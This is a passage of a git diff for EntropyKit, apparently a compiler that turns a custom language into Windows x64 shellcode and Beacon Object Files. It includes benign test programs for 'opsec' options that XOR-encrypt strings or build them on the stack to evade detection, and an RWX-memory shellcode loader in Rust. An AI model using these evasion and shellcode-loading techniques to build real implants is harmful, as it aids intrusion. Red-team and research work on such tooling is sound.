(int)v)); + } catch err { + BeaconPrintf(0, str.format("[+] caught exception 0x{x}\n", err)); + } + + BeaconPrintf(0, "[+] BOF survived - returning\n"); + ret; +} diff --git a/examples/opsec_string_test.etpy b/examples/opsec_string_test.etpy new file mode 100644 index 0000000..431de1f --- /dev/null +++ b/examples/opsec_string_test.etpy @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: Apache-2.0 +// opsec_string_test.etpy - non-UI verifier for --opsec=strings_xor. +// +// Build: +// entc compile example/opsec_string_test.etpy +// entc compile example/opsec_string_test.etpy --opsec=strings_xor --seed=42 +// Run: +// target/release/entc-debug.exe trace example/opsec_string_test.bin +// to expect exit code 0x4F4B ("OK" big-endian) on success. + +fn main() -> int { + // The string literal goes into .rdata. + //With --opsec=strings_xor the bytes are XOR-encrypted at build time, the decryptor runs at entry, and by the time we reach this line the string is back to plaintext. + // If decryption failed, the byte we compare against below won't match O (0x4F). + var s: char* = (char*)"OK"; + var b0: int = (int)s[0]; + var b1: int = (int)s[1]; + // Return 0x4F4B if both bytes match otherwise 0xBAD + if b0 == 0x4F { + if b1 == 0x4B { + ret 0x4F4B; + } + } + ret 0xBAD; +} diff --git a/examples/sc_manual_mem.etpy b/examples/sc_manual_mem.etpy new file mode 100644 index 0000000..0bb2ec4 --- /dev/null +++ b/examples/sc_manual_mem.etpy @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: Apache-2.0 +// sc_manual_mem.etpy - standard shellcode test for --gc=manual. + +fn main() -> int { + var buf: u64 = mem.alloc(64); + if buf == 0 { ret 1; } + var b: u8* = (u8*)buf; + b[0] = (u8)0x41; + var first: int = (int)b[0]; + mem.free(buf); + Kernel32.ExitProcess(0); + ret first; +} diff --git a/examples/sc_stack_strings_demo.etpy b/examples/sc_stack_strings_demo.etpy new file mode 100644 index 0000000..e016363 --- /dev/null +++ b/examples/sc_stack_strings_demo.etpy @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: Apache-2.0 +// sc_stack_strings_demo.etpy - verify `--opsec=stack_strings` in +// standard shellcode mode. +// +// entc compile example/sc_stack_strings_demo.etpy --opsec=stack_strings +// strings example/sc_stack_strings_demo.bin + +fn main() -> int { + var s1: str = "shellcode hidden marker 1\n"; + var s2: str = "shellcode hidden marker 2\n"; + + ret 0; +} diff --git a/run_bin.rs b/run_bin.rs new file mode 100644 index 0000000..d64d07a --- /dev/null +++ b/run_bin.rs @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: Apache-2.0 +// run_bin.rs — load an EntropyKit .bin and execute it. Linux x86-64 only. +// Build: rustc -O run_bin.rs -o run_bin +// Use: ./run_bin example/gc_demo.bin +// +// On Windows the equivalent is the bundled `example/sclauncher64.exe`, +// which does VirtualAlloc(PAGE_EXECUTE_READWRITE) + memcpy + call. + +use std::env; +use std::ffi::c_void; +use std::fs; + +extern "C" { + fn mmap(addr: *mut c_void, len: usize, prot: i32, flags: i32, fd: i32, off: i64) -> *mut c_void; + fn munmap(addr: *mut c_void, len: usize) -> i32; +} +const PROT_READ: i32 = 1; +const PROT_WRITE: i32 = 2; +const PROT_EXEC: i32 = 4; +const MAP_PRIVATE: i32 = 0x02; +const MAP_ANON: i32 = 0x20; + +fn main() { + let path = env::args().nth(1).expect("usage: run_bin "); + let bytes = fs::read(&path).expect("read"); + let len = (bytes.len() + 4095) & !4095; + + unsafe { + let p = mmap(std::ptr::null_mut(), len, + PROT_READ | PROT_WRITE | PROT_EXEC, + MAP_PRIVATE | MAP_ANON, -1, 0); + assert!(p as isize != -1, "mmap failed"); + std::ptr::copy_nonoverlapping(bytes.as_ptr(), p as *mut u8, bytes.len()); + + // EntropyKit emits Win64 calling convention (args in rcx/rdx/r8/r9). + // On Linux rcx isn't a "host services" pointer; main's prologue still + // saves it, but `shared.*` will see NULL and short-circuit to zero. + // For zero-arg main(), rcx is irrelevant — rax holds the return value. + let entry: extern "win64" fn() -> i64 = std::mem::transmute(p); + let result = entry(); + println!("returned: {} (0x{:x})", result, result); + + munmap(p, len); + } +} diff --git a/src/asm.rs b/src/asm.rs new file mode 100644 index 0000000..9703b72 --- /dev/null +++ b/src/asm.rs @@ -0,0 +1,368 @@ + +use crate::encoder::{Reg64, Segment}; + +// AST +#[derive(Debug, Clone)] +pub enum AsmOperand { + Reg(Reg64), + Imm(i64), + /// %name - resolved at codegen against the enclosing scope. + Sym(String), + Mem(AsmMem), +} + +/// [base ± index*scale ± disp]. Components are optional. +#[derive(Debug, Clone)] +pub struct AsmMem { + /// Register or %name (mutually exclusive in V1). + pub base: Option, + /// (register, scale). Scale ∈ {1,2,4,8}. + pub index: Option<(Reg64, u32)>, + pub disp: i32, + /// gs: / fs: override (None = flat segment). + pub seg: Option, +} + +#[derive(Debug, Clone)] +pub enum AsmMemBase { + Reg(Reg64), + Sym(String), +} + +/// Mnemonic is a string so the AST doesn't enumerate every variant; +/// codegen dispatches per-mnemonic. +#[derive(Debug, Clone)] +pub enum AsmBody { + Op0 { mnem: String }, + Op1 { mnem: String, op: AsmOperand }, + Op2 { mnem: String, dst: AsmOperand, src: AsmOperand }, + Label (String), + Db (Vec), +} + +/// Parsed asm line with source position for debug breadcrumbs. +/// line == 0 is "unknown" (synthetic / pre-parsed). +#[derive(Debug, Clone)] +pub struct AsmLine { + pub line: u32, + pub col: u32, + pub body: AsmBody, +} + +impl AsmLine { + #[allow(dead_code)] + pub fn from_body(body: AsmBody) -> Self { + Self { line: 0, col: 0, body } + } +} + + +// PARSER + +/// Parse one asm line. Forms: name:, db 0x..[, 0x..]*, or +/// mnem [operand[, operand]]. Empty lines are rejected. +pub fn parse_asm_line(line: &str) -> Result { + let trimmed = strip_trailing_comment(line).trim(); + if trimmed.is_empty() { return Err("empty asm line".into()); } + + // Label declaration: name: or name : + if let Some(name) = parse_label_decl(trimmed) { + return Ok(AsmBody::Label(name)); + } + + // db 0x.., 0x.. + if let Some(rest) = trimmed.strip_prefix("db ").or_else(|| trimmed.strip_prefix("db\t")) { + return parse_db(rest); + } + + // Generic mnemonic + comma-separated operands. + let (mnem, rest) = split_mnemonic(trimmed); + let operands = if rest.is_empty() { + Vec::new() + } else { + split_top_level_commas(rest)? + .iter() + .map(|s| parse_operand(s.trim())) + .collect::, _>>()? + }; + + let mnem = mnem.to_ascii_lowercase(); + match operands.len() { + 0 => Ok(AsmBody::Op0 { mnem }), + 1 => Ok(AsmBody::Op1 { mnem, op: operands.into_iter().next().unwrap() }), + 2 => { + let mut it = operands.into_iter(); + let dst = it.next().unwrap(); + let src = it.next().unwrap(); + Ok(AsmBody::Op2 { mnem, dst, src }) + } + n => Err(format!("`{mnem}` takes 0/1/2 operands, got {n}")), + } +} + +/// Strip // ... from EOL. The host parser already removes // +/// from source-level tokens; this catches comments appended to +/// individual asm lines. +fn strip_trailing_comment(line: &str) -> &str { + if let Some(idx) = line.find("//") { return &line[..idx]; } + line +} + +/// name: -> bare label name. Anything else -> None. +fn parse_label_decl(s: &str) -> Option { + let body = s.strip_suffix(':')?; + let name = body.trim(); + if name.is_empty() { return None; } + validate_ident(name).ok()?; + Some(name.to_string()) +} + +/// (mnemonic, rest). Mnemonic ends at the first whitespace. +fn split_mnemonic(s: &str) -> (&str, &str) { + let bytes = s.as_bytes(); + let mut i = 0; + while i < bytes.len() && !(bytes[i] as char).is_ascii_whitespace() { + i += 1; + } + let mnem = &s[..i]; + let rest = s[i..].trim_start(); + (mnem, rest) +} + +/// Comma-split, but respect [ ... ] so [rbp + 4*rax] doesn't tear. +fn split_top_level_commas(s: &str) -> Result, String> { + let mut out = Vec::new(); + let mut depth = 0; + let mut start = 0; + let bytes = s.as_bytes(); + for (i, &b) in bytes.iter().enumerate() { + match b { + b'[' | b'(' => depth += 1, + b']' | b')' => { + if depth == 0 { return Err("unmatched `]` / `)` in asm operand".into()); } + depth -= 1; + } + b',' if depth == 0 => { + out.push(&s[start..i]); + start = i + 1; + } + _ => {} + } + } + if depth != 0 { return Err("unmatched `[` / `(` in asm operand".into()); } + out.push(&s[start..]); + Ok(out) +} + +fn parse_db(rest: &str) -> Result { + let mut bytes = Vec::new(); + for piece in rest.split(',') { + let p = piece.trim(); + let val: i64 = parse_int_literal(p)?; + if !(0..=0xFF).contains(&val) { + return Err(format!("db value out of range: {p}")); + } + bytes.push(val as u8); + } + Ok(AsmBody::Db(bytes)) +} + +/// Decimal / hex / negative integer literal. Hex needs 0x prefix. +fn parse_int_literal(s: &str) -> Result { + let s = s.trim(); + if let Some(neg) = s.strip_prefix('-') { + let v = parse_int_literal(neg)?; + return Ok(v.wrapping_neg()); + } + if let Some(h) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) { + return u64::from_str_radix(h, 16) + .map(|v| v as i64) + .map_err(|e| format!("bad hex literal `{s}`: {e}")); + } + s.parse::().map_err(|e| format!("bad integer `{s}`: {e}")) +} + +/// Routes by leading char: [ mem, % sym, digit/- imm, else reg. +fn parse_operand(s: &str) -> Result { + let s = s.trim(); + if s.is_empty() { return Err("empty operand".into()); } + if s.starts_with('[') { + return parse_mem_operand(s, None); + } + // gs:[...] / fs:[...] + if let Some(rest) = strip_seg_prefix(s) { + let (seg, body) = rest; + if !body.starts_with('[') { + return Err(format!( + "asm: segment override `{}:` must be followed by `[ ... ]`", + match seg { Segment::Fs => "fs", Segment::Gs => "gs" } + )); + } + return parse_mem_operand(body, Some(seg)); + } + if let Some(name) = s.strip_prefix('%') { + let name = name.trim(); + if name.is_empty() { + return Err("`%` operand: missing name".into()); + } + validate_ident(name)?; + return Ok(AsmOperand::Sym(name.to_string())); + } + if s.starts_with('-') || s.as_bytes()[0].is_ascii_digit() { + return Ok(AsmOperand::Imm(parse_int_literal(s)?)); + } + // Register name - strictly lowercase to match Reg64::from_name. + let lower = s.to_ascii_lowercase(); + if let Some(r) = Reg64::from_name(&lower) { + return Ok(AsmOperand::Reg(r)); + } + // Bare identifier - equivalent to %name. The % prefix is + // available for names that could collide with a register. + if validate_ident(s).is_ok() { + return Ok(AsmOperand::Sym(s.to_string())); + } + Err(format!("unknown operand `{s}` - expected register, immediate, %name, [mem], or label")) +} + +/// Strip a fs: / gs: prefix (case-insensitive). Returns +/// (seg, rest) or None. +fn strip_seg_prefix(s: &str) -> Option<(Segment, &str)> { + let bytes = s.as_bytes(); + if bytes.len() < 3 || bytes[2] != b':' { return None; } + let head = &s[..2]; + let seg = match head { + "fs" | "Fs" | "fS" | "FS" => Segment::Fs, + "gs" | "Gs" | "gS" | "GS" => Segment::Gs, + _ => return None, + }; + Some((seg, s[3..].trim_start())) +} + +/// [reg], [reg ± imm], [reg + reg[*N]], [reg + reg*N ± imm], +/// [%name], [%name ± imm]. Scale ∈ {1,2,4,8}. +fn parse_mem_operand(s: &str, seg: Option) -> Result { + let body = s.strip_prefix('[') + .and_then(|r| r.strip_suffix(']')) + .ok_or_else(|| format!("memory operand must be `[ ... ]` (got `{s}`)"))? + .trim(); + if body.is_empty() { + return Err("empty `[]` memory operand".into()); + } + + let mut mem = AsmMem { base: None, index: None, disp: 0, seg }; + // Walk +/- separated terms. First term is implicitly positive. + let mut cursor = 0usize; + let bytes = body.as_bytes(); + let mut sign: i64 = 1; + let mut first = true; + while cursor < bytes.len() { + while cursor < bytes.len() && (bytes[cursor] as char).is_ascii_whitespace() { + cursor += 1; + } + if cursor >= bytes.len() { break; } + if !first { + match bytes[cursor] { + b'+' => { sign = 1; cursor += 1; } + b'-' => { sign = -1; cursor += 1; } + _ => return Err(format!( + "mem operand: expected `+` or `-` between terms in `[{body}]`" + )), + } + while cursor < bytes.len() && (bytes[cursor] as char).is_ascii_whitespace() { + cursor += 1; + } + } + first = false; + + // Term ends at the next +/- at the top level. + let term_start = cursor; + while cursor < bytes.len() && bytes[cursor] != b'+' && bytes[cursor] != b'-' { + cursor += 1; + } + let term = body[term_start..cursor].trim(); + if term.is_empty() { + return Err(format!("mem operand: empty term in `[{body}]`")); + } + apply_mem_term(&mut mem, term, sign, body)?; + } + + Ok(AsmOperand::Mem(mem)) +} + +/// Fold one term: reg -> base, reg*N -> index, imm -> disp, +/// %name -> sym base. +fn apply_mem_term(mem: &mut AsmMem, term: &str, sign: i64, full: &str) -> Result<(), String> { + // Scaled index: reg * N + if let Some(star) = term.find('*') { + let left = term[..star].trim(); + let right = term[star + 1..].trim(); + let reg = Reg64::from_name(&left.to_ascii_lowercase()) + .ok_or_else(|| format!("mem operand: `{left}*…` left side must be a register"))?; + let scale = parse_int_literal(right)? as u32; + if !matches!(scale, 1 | 2 | 4 | 8) { + return Err(format!( + "mem operand: scale must be 1/2/4/8 (got {scale}) in `[{full}]`" + )); + } + if mem.index.is_some() { + return Err(format!("mem operand: multiple index terms in `[{full}]`")); + } + mem.index = Some((reg, scale)); + return Ok(()); + } + // %name + if let Some(name) = term.strip_prefix('%') { + let name = name.trim(); + validate_ident(name)?; + if mem.base.is_some() { + return Err(format!("mem operand: two bases in `[{full}]`")); + } + mem.base = Some(AsmMemBase::Sym(name.to_string())); + return Ok(()); + } + // Register + let lower = term.to_ascii_lowercase(); + if let Some(reg) = Reg64::from_name(&lower) { + if mem.base.is_some() { + // Second register becomes the index (scale 1). + if mem.index.is_some() { + return Err(format!( + "mem operand: too many register terms in `[{full}]`" + )); + } + mem.index = Some((reg, 1)); + } else { + mem.base = Some(AsmMemBase::Reg(reg)); + } + return Ok(()); + } + // Otherwise: integer literal contributing to disp. + let v = parse_int_literal(term)?; + let signed = (sign as i64).wrapping_mul(v); + let new_disp = (mem.disp as i64).wrapping_add(signed); + if new_disp < i32::MIN as i64 || new_disp > i32::MAX as i64 { + return Err(format!("mem operand: disp out of range in `[{full}]`")); + } + mem.disp = new_disp as i32; + Ok(()) +} + +/// [A-Za-z_][A-Za-z0-9_]*. +fn validate_ident(s: &str) -> Result<(), String> { + let bytes = s.as_bytes(); + if bytes.is_empty() { + return Err("empty identifier".into()); + } + let first = bytes[0] as char; + if !(first.is_ascii_alphabetic() || first == '_') { + return Err(format!("identifier `{s}` must start with letter or `_`")); + } + for &b in &bytes[1..] { + let c = b as char; + if !(c.is_ascii_alphanumeric() || c == '_') { + return Err(format!("identifier `{s}` has invalid char `{c}`")); + } + } + Ok(()) +} + diff --git a/src/ast.rs b/src/ast.rs new file mode 100644 index 0000000..890d0c9 --- /dev/null +++ b/src/ast.rs @@ -0,0 +1,134 @@ +//! Abstract Syntax Tree + +#[derive(Debug, Clone, Copy, Default, PartialEq, Eq)] +pub struct Span { + pub line: u32, + pub col: u32, +} + +impl Span { + pub fn new(line: u32, col: u32) -> Self { Self { line, col } } + pub fn is_unknown(self) -> bool { self.line == 0 && self.col == 0 } +} + +impl std::fmt::Display for Span { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + if self.is_unknown() { write!(f, "") } + else { write!(f, "{}:{}", self.line, self.col) } + } +} + +#[derive(Debug, Clone)] +pub enum Expr { + Int(i64), + Str(String), + Bool(bool), + Var(String), + Assign { name: String, value: Box }, + Unary { op: String, operand: Box }, + Binary { op: String, lhs: Box, rhs: Box }, + Call { ns: String, fname: String, args: Vec, span: Span }, + + /// base.field - struct field read. base evaluates to the struct's + /// address; the codegen offsets from it. + Field { base: Box, field: String }, + /// base.field = value - struct field write. + FieldAssign { base: Box, field: String, value: Box }, + /// *ptr = value - assignment through a pointer. The width of the + /// store is taken from the pointee type when knowable (e.g. ptr is a + /// u32* local), otherwise defaults to qword. + DerefAssign { ptr: Box, value: Box }, + /// (type) expr - C-style cast. V1 is a no-op at the machine level + /// (all scalars are 8-byte slots), kept as a syntactic marker so the + /// future type checker can validate intent. + Cast { ty: String, expr: Box }, + SizeOf { ty: String }, + /// base[index] - indexed read. base is a pointer or array (T* + /// or T[N]); the codegen multiplies index by sizeof to find + /// the byte offset, then emits a width-correct load. + Index { base: Box, index: Box }, + /// base[index] = value - indexed write. Mirrors Index for stores. + IndexAssign { base: Box, index: Box, value: Box }, + StructLit { ty: String, fields: Vec<(String, Expr)>, span: Span }, +} + +#[derive(Debug, Clone)] +pub enum Stmt { + Var { name: String, ty: String, value: Option, span: Span }, + Expr { value: Expr, span: Span }, + If { cond: Expr, then_body: Vec, else_body: Vec }, + While { cond: Expr, body: Vec }, + For { + init: Option>, + cond: Option, + step: Option>, + body: Vec, + }, + /// break; - exit the innermost enclosing for/while. + Break, + /// continue; - jump to the step (for) or condition (while) of the + /// innermost enclosing loop. + Continue, + Ret { value: Option, span: Span }, + + /// try { body } catch err { handler } - desugars to longjmp-style PIC. + Try { body: Vec, err_name: String, handler: Vec }, + + /// raise expr; - longjmp-style unwind. Evaluates expr into rax, + /// then jumps to the innermost installed try handler. With no + /// handler installed, the program returns 0xFF. + Raise { value: Expr, span: Span }, + + /// inline assembly: a sequence of parsed instructions plus raw bytes. + Asm (Vec), +} + +#[derive(Debug, Clone)] +pub struct Param { pub name: String, pub ty: String } + +#[derive(Debug, Clone)] +pub struct Attr { + pub kind: String, + pub arg: Option, +} + +#[derive(Debug, Clone)] +pub struct Function { + pub name: String, + pub params: Vec, + pub ret_ty: String, + pub body: Vec, + /// Function-level attributes parsed from [Attr] prefixes. + /// Order is preserved. + pub attrs: Vec, + pub is_extern: bool, +} + +#[derive(Debug, Clone)] +pub struct StaticDecl { + pub name: String, + pub ty: String, + pub init: Option, +} + +#[derive(Debug, Clone)] +pub struct StructDef { + pub name: String, + pub fields: Vec<(String, String)>, // (field name, type name) + pub is_union: bool, + pub attrs: Vec, +} + +#[derive(Debug, Clone, Default)] +pub struct Program { + pub structs: Vec, + pub statics: Vec, + pub functions: Vec, + pub enums: Vec, +} + +#[derive(Debug, Clone)] +pub struct EnumDecl { + pub name: String, + pub variants: Vec<(String, i64)>, +} diff --git a/src/cimport.rs b/src/cimport.rs new file mode 100644 index 0000000..01367e5 --- /dev/null +++ b/src/cimport.rs @@ -0,0 +1,687 @@ + +use std::fs; + +use crate::ast::{Expr, StaticDecl, StructDef}; + +/// Output of parsing one C header. +#[derive(Debug, Default)] +pub struct CImport { + pub statics: Vec, + pub structs: Vec, +} + +/// Parse a header at path and produce Entropia AST nodes. +pub fn parse_header(path: &str) -> Result { + let src = fs::read_to_string(path) + .map_err(|e| format!("use_c `{path}`: {e}"))?; + let mut p = CParser::new(&src, path); + p.parse_all()?; + Ok(p.out) +} + +// TOKENIZER +#[derive(Debug, Clone, PartialEq)] +enum CTok { + Ident(String), + Int(i64), + Hash, // # + LBrace, RBrace, + LParen, RParen, + LBracket, RBracket, + Semi, + Comma, + Star, + Minus, + Eof, +} + +struct CTokenizer<'a> { + src: &'a [u8], + pos: usize, + line: u32, + path: String, +} + +impl<'a> CTokenizer<'a> { + fn new(src: &'a str, path: &str) -> Self { + Self { src: src.as_bytes(), pos: 0, line: 1, path: path.to_string() } + } + + fn err(&self, msg: &str) -> String { + format!("{}:{}: {}", self.path, self.line, msg) + } + + fn skip_ws_and_comments(&mut self) { + loop { + while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_whitespace() { + if self.src[self.pos] == b'\n' { self.line += 1; } + self.pos += 1; + } + if self.pos + 1 < self.src.len() && self.src[self.pos] == b'/' && self.src[self.pos+1] == b'/' { + while self.pos < self.src.len() && self.src[self.pos] != b'\n' { self.pos += 1; } + continue; + } + if self.pos + 1 < self.src.len() && self.src[self.pos] == b'/' && self.src[self.pos+1] == b'*' { + self.pos += 2; + while self.pos + 1 < self.src.len() + && !(self.src[self.pos] == b'*' && self.src[self.pos+1] == b'/') + { + if self.src[self.pos] == b'\n' { self.line += 1; } + self.pos += 1; + } + if self.pos + 1 < self.src.len() { self.pos += 2; } + continue; + } + break; + } + } + + fn next(&mut self) -> Result { + self.skip_ws_and_comments(); + if self.pos >= self.src.len() { return Ok(CTok::Eof); } + let c = self.src[self.pos]; + + if (c as char).is_ascii_alphabetic() || c == b'_' { + let start = self.pos; + while self.pos < self.src.len() + && ((self.src[self.pos] as char).is_ascii_alphanumeric() + || self.src[self.pos] == b'_') + { + self.pos += 1; + } + let id = std::str::from_utf8(&self.src[start..self.pos]).unwrap().to_string(); + return Ok(CTok::Ident(id)); + } + + if (c as char).is_ascii_digit() { + let start = self.pos; + if c == b'0' && self.pos + 1 < self.src.len() + && (self.src[self.pos+1] == b'x' || self.src[self.pos+1] == b'X') + { + self.pos += 2; + let hs = self.pos; + while self.pos < self.src.len() + && (self.src[self.pos] as char).is_ascii_hexdigit() + { + self.pos += 1; + } + let raw = std::str::from_utf8(&self.src[hs..self.pos]).unwrap(); + let v = u64::from_str_radix(raw, 16) + .map_err(|e| self.err(&format!("bad hex literal: {e}")))? as i64; + self.skip_int_suffix(); + return Ok(CTok::Int(v)); + } + while self.pos < self.src.len() && (self.src[self.pos] as char).is_ascii_digit() { + self.pos += 1; + } + let raw = std::str::from_utf8(&self.src[start..self.pos]).unwrap(); + let v: i64 = raw.parse() + .map_err(|e: std::num::ParseIntError| self.err(&format!("bad int literal: {e}")))?; + self.skip_int_suffix(); + return Ok(CTok::Int(v)); + } + + let tok = match c { + b'#' => CTok::Hash, + b'{' => CTok::LBrace, b'}' => CTok::RBrace, + b'(' => CTok::LParen, b')' => CTok::RParen, + b'[' => CTok::LBracket, b']' => CTok::RBracket, + b';' => CTok::Semi, + b',' => CTok::Comma, + b'*' => CTok::Star, + b'-' => CTok::Minus, + _ => return Err(self.err(&format!("unexpected character `{}`", c as char))), + }; + self.pos += 1; + Ok(tok) + } + + fn skip_int_suffix(&mut self) { + while self.pos < self.src.len() { + let c = self.src[self.pos]; + if c == b'u' || c == b'U' || c == b'l' || c == b'L' { + self.pos += 1; + } else { + break; + } + } + } +} + + +// PARSER +struct CParser<'a> { + tok: CTokenizer<'a>, + cur: CTok, + /// Currently-known type names. Starts with the C primitive type-spelling + /// vocabulary; grows as the file declares typedefs, structs, and unions. + typedefs: std::collections::HashMap, + /// Struct/union tags declared so far. Used to resolve struct Tag and + /// union Tag references. + struct_tags: std::collections::HashSet, + out: CImport, + path: String, + /// Counter for anonymous nested struct/union types synthesized from + /// struct { ... } name; fields. + anon_counter: usize, +} + +impl<'a> CParser<'a> { + fn new(src: &'a str, path: &str) -> Self { + let mut typedefs = std::collections::HashMap::new(); + for (c_name, ek_name) in PRIMITIVES { + typedefs.insert(c_name.to_string(), ek_name.to_string()); + } + let mut tok = CTokenizer::new(src, path); + let cur = tok.next().unwrap_or(CTok::Eof); + Self { + tok, + cur, + typedefs, + struct_tags: std::collections::HashSet::new(), + out: CImport::default(), + path: path.to_string(), + anon_counter: 0, + } + } + + fn err(&self, msg: &str) -> String { + format!("{}:{}: {}", self.path, self.tok.line, msg) + } + + fn advance(&mut self) -> Result { + let prev = std::mem::replace(&mut self.cur, CTok::Eof); + self.cur = self.tok.next()?; + Ok(prev) + } + + fn peek_ident(&self) -> Option<&str> { + if let CTok::Ident(s) = &self.cur { Some(s.as_str()) } else { None } + } + + fn expect_ident(&mut self) -> Result { + match &self.cur { + CTok::Ident(s) => { let s = s.clone(); self.advance()?; Ok(s) } + other => Err(self.err(&format!("expected identifier, got {other:?}"))), + } + } + + fn expect(&mut self, t: &CTok, what: &str) -> Result<(), String> { + if std::mem::discriminant(&self.cur) == std::mem::discriminant(t) { + self.advance()?; Ok(()) + } else { + Err(self.err(&format!("expected {what}, got {:?}", self.cur))) + } + } + + /// Skip "__attribute__((...))", "__declspec"", and SAL annotation + /// idents like _In_, _Out_, _Reserved_. Returns true if at least + /// one annotation was eaten so callers can re-check cur. + fn skip_annotations(&mut self) -> Result { + let mut ate = false; + loop { + let name = match self.peek_ident() { + Some(s) => s.to_string(), + None => break, + }; + let is_attr = name == "__attribute__" + || name == "__declspec" + || name == "__cdecl" + || name == "__stdcall" + || name == "__fastcall" + || name == "__pragma" + || name == "STDMETHODCALLTYPE" + || name == "WINAPI" + || name == "CALLBACK" + || name == "APIENTRY" + || name == "NTAPI" + || name == "WSAAPI"; + let is_sal = name.starts_with('_') + && name.ends_with('_') + && name.len() >= 3 + && name.chars().nth(1).map_or(false, |c| c.is_ascii_uppercase()); + if !(is_attr || is_sal) { break; } + self.advance()?; + // Some attributes are followed by (...). Eat balanced parens. + if matches!(self.cur, CTok::LParen) { + self.eat_balanced_parens()?; + } + ate = true; + } + Ok(ate) + } + + /// Process a balanced "(...)"" block. The opening paren must be the + /// current token. We process it and everything up to (and including) its matching close. + /// Used for annotation arguments and to skip function-pointer parameter lists we don't model. + fn eat_balanced_parens(&mut self) -> Result<(), String> { + self.expect(&CTok::LParen, "`(`")?; + let mut depth: i32 = 1; + while depth > 0 { + match &self.cur { + CTok::LParen => depth += 1, + CTok::RParen => depth -= 1, + CTok::Eof => return Err(self.err("unterminated `(...)`")), + _ => {} + } + self.advance()?; + } + Ok(()) + } + + fn parse_all(&mut self) -> Result<(), String> { + loop { + self.skip_annotations()?; + match &self.cur { + CTok::Eof => return Ok(()), + CTok::Hash => self.parse_define()?, + CTok::Ident(s) if s == "typedef" => self.parse_typedef()?, + CTok::Ident(s) if s == "struct" => self.parse_record_decl(false)?, + CTok::Ident(s) if s == "union" => self.parse_record_decl(true)?, + CTok::Semi => { self.advance()?; } + other => return Err(self.err(&format!( + "expected `#define`, `typedef`, `struct`, or `union` at top level, got {other:?}" + ))), + } + } + } + + /// # define IDENT INTEGER + fn parse_define(&mut self) -> Result<(), String> { + self.advance()?; // eat # + let kw = self.expect_ident()?; + if kw != "define" { + return Err(self.err(&format!("only `#define` is supported, got `#{kw}`"))); + } + let name = self.expect_ident()?; + let negate = if matches!(self.cur, CTok::Minus) { + self.advance()?; + true + } else { + false + }; + let val = match &self.cur { + CTok::Int(n) => { let v = *n; self.advance()?; if negate { -v } else { v } } + other => return Err(self.err(&format!( + "`#define {name}` must be followed by an integer literal (got {other:?}); \ + function-like macros aren't supported" + ))), + }; + self.out.statics.push(StaticDecl { + name, + ty: "u32".to_string(), + init: Some(Expr::Int(val)), + }); + Ok(()) + } + + fn parse_typedef(&mut self) -> Result<(), String> { + self.advance()?; // eat `typedef` + self.skip_annotations()?; + + // typedef struct/union ... + if let CTok::Ident(s) = &self.cur { + if s == "struct" || s == "union" { + let is_union = s == "union"; + self.advance()?; + self.skip_annotations()?; + // Optional tag. + let tag = if let CTok::Ident(t) = &self.cur { + let t = t.clone(); + self.advance()?; + if matches!(self.cur, CTok::LBrace) { + Some(t) + } else { + // typedef struct OldTag NEW [, *PALIAS]*; + let new_name = self.expect_ident()?; + self.skip_pointer_aliases()?; + self.expect(&CTok::Semi, "`;`")?; + self.typedefs.insert(new_name, t); + return Ok(()); + } + } else { None }; + self.expect(&CTok::LBrace, "`{`")?; + let fields = self.parse_field_list()?; + self.expect(&CTok::RBrace, "`}`")?; + let typedef_name = self.expect_ident()?; + self.skip_pointer_aliases()?; + self.expect(&CTok::Semi, "`;`")?; + self.out.structs.push(StructDef { + name: typedef_name.clone(), + fields, + is_union, + attrs: Vec::new(), + }); + self.struct_tags.insert(typedef_name.clone()); + if let Some(t) = tag { + self.typedefs.insert(t.clone(), typedef_name.clone()); + self.struct_tags.insert(t); + } + return Ok(()); + } + } + + // Plain typedef: typedef [array]?; + // OR function pointer: typedef [CC] (*NEW)(PARAMS); + let base = self.parse_type_specifier()?; + let stars = self.eat_pointer_stars(); + self.skip_annotations()?; + + // Function pointer: an open paren here means we're in + // typedef RET (*NAME)(...) or typedef RET (CC *NAME)(...). + if matches!(self.cur, CTok::LParen) { + return self.parse_function_pointer_typedef(); + } + + let resolved = if stars > 0 { "u64".to_string() } else { base }; + let new_name = self.expect_ident()?; + // Optional array suffix: typedef int Foo[3]; to register Foo as + // an array typedef int[3]. Common in WinSDK headers. + let final_ty = if matches!(self.cur, CTok::LBracket) { + self.advance()?; + let n = match &self.cur { + CTok::Int(n) => { let v = *n as usize; self.advance()?; v } + other => return Err(self.err(&format!( + "expected integer array length in typedef, got {other:?}" + ))), + }; + self.expect(&CTok::RBracket, "`]`")?; + format!("{resolved}[{n}]") + } else { + resolved + }; + self.skip_pointer_aliases()?; + self.expect(&CTok::Semi, "`;`")?; + self.typedefs.insert(new_name, final_ty); + Ok(()) + } + + fn parse_function_pointer_typedef(&mut self) -> Result<(), String> { + self.expect(&CTok::LParen, "`(`")?; + self.skip_annotations()?; + // Optional inner * (or several). At least one is required for a + // function-pointer typedef but we're forgiving. + let _stars = self.eat_pointer_stars(); + self.skip_annotations()?; + let name = self.expect_ident()?; + self.expect(&CTok::RParen, "`)`")?; + // Skip the parameter list. + self.eat_balanced_parens()?; + // Some headers stick attributes between the params and ;. + self.skip_annotations()?; + self.expect(&CTok::Semi, "`;`")?; + self.typedefs.insert(name, "u64".to_string()); + Ok(()) + } + + /// struct|union NAME { fields }; - declaration without typedef. + /// Or struct NAME; - forward declaration, registered as a struct + /// tag of opaque size (treated as void* if used as a field). + fn parse_record_decl(&mut self, is_union: bool) -> Result<(), String> { + self.advance()?; // eat `struct` or `union` + self.skip_annotations()?; + let name = self.expect_ident()?; + if matches!(self.cur, CTok::Semi) { + self.advance()?; + self.struct_tags.insert(name); + return Ok(()); + } + self.expect(&CTok::LBrace, "`{`")?; + let fields = self.parse_field_list()?; + self.expect(&CTok::RBrace, "`}`")?; + self.expect(&CTok::Semi, "`;`")?; + self.struct_tags.insert(name.clone()); + self.out.structs.push(StructDef { name, fields, is_union, attrs: Vec::new() }); + Ok(()) + } + + /// [[N]] ; repeated until }. Also handles + /// nested struct|union { fields } name; and RET (*name)(...) + /// function-pointer fields. + fn parse_field_list(&mut self) -> Result, String> { + let mut fields = Vec::new(); + while !matches!(self.cur, CTok::RBrace) { + self.skip_annotations()?; + + // Nested record: struct { ... } name; or union { ... } name; + // (named or anonymous tag). The tag, if present, is recorded + // and the synthesized name is used for the field type. + if let CTok::Ident(s) = &self.cur 